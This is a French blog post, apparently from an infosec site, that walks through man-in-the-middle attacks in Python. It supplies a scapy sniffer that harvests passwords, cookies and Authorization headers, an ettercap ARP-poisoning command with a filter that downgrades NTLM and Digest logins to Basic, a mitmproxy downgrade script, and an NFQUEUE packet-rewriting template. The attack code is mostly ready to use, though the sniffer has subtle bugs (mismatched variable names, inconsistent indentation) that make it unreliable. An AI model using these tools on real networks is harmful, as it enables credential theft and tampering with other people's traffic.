MITM et Sploit basiques en Python

Voici un petit article sans prétention traitant de programmation réseau orienté InfoSec afin de faire des trucs plutôt cools comme sniffer les mots de passe qui transiteraient (en clair ou faiblement chiffrés), forcer l’authentification HTTP en Basic, ou encore de modifier des paquets à la volée. Et tout ça avec Python !

J’espère que vous y trouverez des petits trucs intéressants !

Avant-propos : Cet article est resté dans le tiroir plus de 5 ans. Il a initialement été rédigé par 0x0c et fait partie de ces articles inachevés que je (0x0ff.info) vais essayer de publier dans les prochains mois.

Attention : Nous supposerons que nous sommes en situation de MITM (Monkey In The Middle), situation avantageuse dans laquelle on pourra se retrouver grâce à des outils sympas style ettercap.

Sniff sniff

Pour commencer, voici un petit bout de code qui va sniffer les flux HTTP. Vous pouvez évidemment le reproduire avec FTP, telnet et tout autre protocole qui vous siérait d’ausculter… – Comme toujours, si vous avez des astuces pour l’améliorer n’hésitez pas !

import threading
from scapy.all import *

class http_sniff(threading.Thread):
 def __init__(self,ports=[80,8080]):
   threading.Thread.__init__(self)
   ## Ici on ne relève que les mots clés qui nous intéressent
   self.key_words=('password=','Cookie:','username=','login=','Authorization:')
   ## On customise notre filtre pour écouter sur les ports usuels
   self.filtre="tcp and ( port "
   for p in ports :
     self.filter=self.filtre+str(p)+" or "
   self.filter=self.filter[:-3]+")"

  # Notre filtre :
  # c'est ici qu'on récupère les infos qui nous intéressent
  def get_http(self,pkt):
    if pkt.getlayer('Raw'):
      # On dump le payload du paquet
      payload=pkt.getlayer('Raw').load
      p=re.search(r'(.)*HTTP/(.)*',payload)
      # On récupère l'URL
      url=p.group(0).split(' ')[1]
      p=re.search(r'Host: (\w.)*\w+',payload)
      # On récupère le Vhost
      server=p.group(0).split(':')[1].replace('\r','')
      for w in self.keywords:
        # On récupère les mots clés qui nous intéressent
        p = re.search(r'(.)*'+w+'(.)*',payload)
        if(p):
          msg="http://"+server+url+' , DATA : '+p.group(0)
          print(msg)

  def run(self):
    while True:
      sniff(filter=self.filtre,prn=self.get_http)

### MAIN ###
# Il ne reste plus qu'à lancer le sniffer
# ici on le lance sur les ports 80,8080,8000
try:
 h=http_sniff((80,8080,8000))
 h.setDaemon(True)
 h.start()
except Exception as im:
  print "HTTP sniff:"+str(im)

 

Méthode dsniff

Si Python vous ennuie vous pouvez toujours utiliser des outils déjà construits tel que le très sympa dsniff, ou encore responder, outils que je vous laisse découvrir par vous même. ;)


Forcer l’authentification en Basic

L’un des problèmes auquel on peut être confronté en MITM, est l’authentification de type NTLM ou Digest qui serait demandée par un site ou un proxy. Cette méthode n’est pas des plus pratiques pour un pentesteur… En tout cas par rapport à un mode d’authentification plus trivial comme HTTP Basic.

Heureusement, en MITM il est possible de modifier à la volée cette demande d’authentification pour le remplacer par un mode HTTP Basic du coté utilisateur. Les identifiants nom d’utilisateur/mot de passe seront alors simplement encodés en base64.

Via ettercap

Créons notre filtre ettercap ainsi :

# My.filter
if (ip.proto == TCP && tcp.src == 80) {
 if (search( DATA.data ,"WWW-Authenticate: ")){
   replace("WWW-Authenticate: NTLM","WWW-Authenticate: Basic");
   replace("WWW-Authenticate: Digest","WWW-Authenticate: Basic");
  }
}

que nous compilerons comme cela :

etterfilter My.filter -o my.ef

Il nous resta plus qu’à lancer ettercap en incluant notre filtre :

ettercap -T -q -F my.ef -M ARP /<IP_de_votre_cible>/ //

Easy peasy !

Via proxy

Dans un premier temps nous devons configurer notre machine pour qu’elle autorise le routage des paquets entre ses différentes interfaces :

sysctl -w net.ipv4.ip_forward=1

Puis configurer notre brique firewall afin de rediriger le flux souhaité sur le bon port (ici 80 vers 8080).

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080

Il ne nous reste plus qu’à configurer le proxy de notre choix en mode transparent et en reportant la même substitution d’authentification que celle montrée avec ettercap. Ci-après, voici ce que ça donnerait avec mitmproxy (un proxy orienté interception tout en python).

D’abord on se prépare une petite fonction myFunc.py:

def response(contexte,flow):
 if flow.response.headers["WWW-Authenticate"] :
   flow.response.headers["WWW-Authenticate"]="Basic "

Et on lance mitmproxy :

$> mitmproxy -T -s myFunc.py

Vous pouvez aussi utiliser l’option -b de responder, mais je n’ai jamais eu trop de chance avec…


Modifier les paquets à la volée

J’ai pensé que ce petit exemple de code pourrait être utile pour d’autres tâches plus élaborées. Oui, car ici nous allons modifier les paquets octet par octet ce qui veut dire qu’on peut vraiment faire ce que l’on veut (tant qu’on respecte les protocoles utilisés).

Comme précédemment, avant toute chose il est nécessaire de configurer notre firewall pour permettre le routage du trafic :

sysctl -w net.ipv4.ip_forward=1
iptables -A OUTPUT -s $target_ip -p tcp --dport 80 -j NFQUEUE

A partir de ce point, nous allons pouvoir traiter tous les paquets qui entre dans la queue NFQUEUE. Le template ressemble à ça :

import nfqueue
from scapy.all import *
from binascii import *
# Dans un premier temps on définit ce que l'on veut faire de notre paquet
def callback(i,payload):
 data = payload.get_data()
 pkt = IP(data)
 payload_before = len(pkt[TCP].payload)
 ######
 if payload_before > 0 :
   arr=bytes(pkt[TCP].payload)
   b=bytearray()
   for a in arr :
     b.append(a)
   # Là on modifie comme on veut en fonction de la position du byte
   # Par exemple : pour modifier le byte en position 002F (47)
   # Il suffit de faire b[47]=01
   # Pour connaitre la position de ce que vous voulez changer, 
   # vous pouvez utiliser la fonction hexdump :
   # hexdump(pkt[TCP].payload)
   ######
   pkt[TCP].payload=str(b)
 # On recalcule la taille du payload
 payload_after = len(pkt[TCP].payload)
 payload_dif = payload_after - payload_before
 pkt[IP].len = pkt[IP].len + payload_dif
 del pkt[IP].chksum
 del pkt[TCP].chksum
 # Et on accepte les paquets
 payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))
 # Ensuite on récupère les paquets dans la NFQUEUE
def main():
  q = nfqueue.queue()
  q.open()
  q.bind(socket.AF_INET)
  q.set_callback(callback)
  q.create_queue(0)
  try:
   q.try_run() # Boucle de récupération des paquets
  except KeyboardInterrupt:
   q.unbind(socket.AF_INET)
   q.close()
main()

 


Voilà, j’espère vous y aurez trouvé des petites choses intéressantes ! En bonus un petit bout de code que j’ai trouvé bien sympa pour récupérer l’adresse IP de l’interface en python, et qui vous permettra peut-être de construire un truc avec, qui sait :

from fcntl import ioctl
from struct import pack
def get_ip(ifname):
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
   return socket.inet_ntoa(ioctl(
     s.fileno(),
     0x8915,  # SIOCGIFADDR
     pack('256s', ifname[:15])
   )[20:24])